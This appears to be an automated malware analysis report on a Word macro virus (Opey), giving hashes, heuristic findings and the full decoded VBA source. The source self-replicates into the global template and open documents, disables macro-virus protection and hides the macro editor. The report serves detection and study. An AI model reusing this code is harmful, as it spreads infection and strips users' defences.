Malicious Office (OLE) / .DOC — malware analysis report

Static analysis result for SHA-256 d94d37fc0d1ffb01…

MALICIOUS

Office (OLE) / .DOC

89.5 KB Created: 2000-08-14 07:59:00 Authoring application: Microsoft Word 8.0 First seen: 2026-06-26
MD5: 2a0dca0f2c095bec99a20a7f0bf47d09 SHA-1: 5e1d384562e57f1e498a720e6e3179d3e60de74b SHA-256: d94d37fc0d1ffb019f5ca8a939b0892f064aa4d66bb6f52a769b9f5f5591c9ab
208 Risk Score

Heuristics 5

  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
                        Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=opendoc.FullName, Name:="A_OPEY_03", Object:=wdOrganizerObjectProjectItems
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • OLE document has large unaccounted-for region high OLE_SLACK_ANOMALY
    OLE file is 91,648 bytes but its declared streams total only 32,558 bytes — 59,090 bytes (64%) live in unallocated sector slack. This is the canonical hiding place for pre-macro-era Office exploit payloads (XOR-encoded shellcode reached via a parser pointer-corruption bug in the document structure).
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4846 bytes
SHA-256: ef84e55a457d7d5f499f520f0a913cd006d027d114ec66f4faf9bef582bec14a
Detection
ClamAV: Doc.Trojan.Opey-4
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "A_OPEY_03"
Sub greetings()
    On Error Resume Next
        autoexecfile$ = "c:\autoexec.bat"
        hFile = FreeFile
        line1$ = ""
            If ((Month(Date) = 12) And (Day(Date) = 25)) Or ((Month(Date) = 1) And (Day(Date) = 1)) Then
                line1$ = "echo MERRY CHRISTMASS AND A HAPPY NEW YEAR !!!"
            End If
            If (Month(Date) = 11) And (Day(Date) = 1) Then
                line1$ = "echo HAPPY HALLOWEEN !!!"
            End If
            If (Month(Date) = 2) And (Day(Date) = 14) Then
                line1$ = "echo HAPPY VALENTINES DAY !!!"
            End If
                If line1$ <> "" Then
                    Open autoexecfile$ For Append Access Write As hFile
                        Print #hFile, "@echo off"
                        Print #hFile, line1$
                        Print #hFile, "echo from: OPEY A."
                        Print #hFile, "pause"
                    Close hFile
                End If
End Sub
Sub OnlyYou()
  On Error Resume Next
    Call A_OPEY_03
    NTInfected = False
        For i = NormalTemplate.VBProject.VBComponents.Count To 1 Step -1
            clan = NormalTemplate.VBProject.VBComponents(i).Name
                If clan = "A_OPEY_03" Then NTInfected = True
                If (clan <> "A_OPEY_03") And (clan <> "ThisDocument") Then Application.OrganizerDelete Source:=NormalTemplate.FullName, Name:=clan, Object:=wdOrganizerObjectProjectItems
        Next i
        For Each opendoc In Documents
            ODInfected = False
            With opendoc
                For j = opendoc.VBProject.VBComponents.Count To 1 Step -1
                clan = opendoc.VBProject.VBComponents(j).Name
                    If clan = "A_OPEY_03" Then ODInfected = True
                    If (clan <> "A_OPEY_03") And (clan <> "ThisDocument") And (clan <> "Reference to Normal") Then Application.OrganizerDelete Source:=opendoc.FullName, Name:=clan, Object:=wdOrganizerObjectProjectItems
                Next j
                If ODInfected = False Then
                    Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=opendoc.FullName, Name:="A_OPEY_03", Object:=wdOrganizerObjectProjectItems
                    opendoc.SaveAs FileName:=opendoc.FullName
                End If
            End With
        Next opendoc
            If NTInfected = False Then
                Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="A_OPEY_03", Object:=wdOrganizerObjectProjectItems
                NormalTemplate.Save
            End If
    Call greetings
End Sub
Sub A_OPEY_03()
    On Error Resume Next
    Application.UserName = "OPEY A."
    Application.UserAddress = "CNNHS B'92 PHILIPPINES (CNSC)"
    Application.UserInitials = "LOVE"
    With Dialogs(wdDialogFileSummaryInfo)
        .Author = "OPEY A."
        .Title = "LOVE"
        .Execute
    End With
    With Options
        .ConfirmConversions = False
        .VirusProtection = False
        .SaveNormalPrompt = False
    End With
    With ActiveDocument
        .ReadOnlyRecommended = False
    End With
    On Error Resume Next
    CommandBars("Visual Basic").Visible = False
    CommandBars("Visual Basic").Enabled = False
    CommandBars("Visual Basic").Protection = msoBarNoChangeVisible
    CommandBars("Visual Basic").Protection = msoBarNoCustomize
    CommandBars("Tools").Controls("Macro").Delete
    CommandBars("Tools").Controls("Customize...").Delete
    CustomizationContext = NormalTemplate
    FindKey(BuildKeyCode(wdKeyF11, wdKeyAlt)).Disable
    FindKey(BuildKeyCode(wdKeyF8, wdKeyAlt)).Disable
End Sub
Sub filesave()
    On Error Resume Next
    Call OnlyYou
    ActiveDocument.Save
End Sub
Sub fileclose()
    On Error Resume Next
    Call OnlyYou
    If ActiveDocument.Saved = False Then ActiveDocument.Save
    ActiveDocument.Close
End Sub
Sub FileExit()
    On Error Resume Next
    Call OnlyYou
    If ActiveDocument.Saved = False Then ActiveDocument.Save
    Application.Quit
End Sub
Sub FileNew()
    On Error Resume Next
    Dialogs(wdDialogFileNew).Show
    newfile$ = 1
    Call OnlyYou
End Sub
Sub AutoOpen()
    On Error Resume Next
    Call OnlyYou
End Sub
Sub AutoExec()
    On Error Resume Next
    Call OnlyYou
End Sub
Sub FileSaveAs()
    On Error Resume Next
    Call OnlyYou
    Dialogs(wdDialogFileSaveAs).Show
End Sub
Sub FilePageSetup()
    On Error Resume Next
    Call OnlyYou
    Dialogs(wdDialogFilePageSetup).Show
End Sub
Sub FilePrint()
    On Error Resume Next
    Call OnlyYou
    Dialogs(wdDialogFilePrint).Show
End Sub
Sub FileOpen()
    On Error Resume Next
    Dialogs(wdDialogFileOpen).Show
    Call OnlyYou
End Sub

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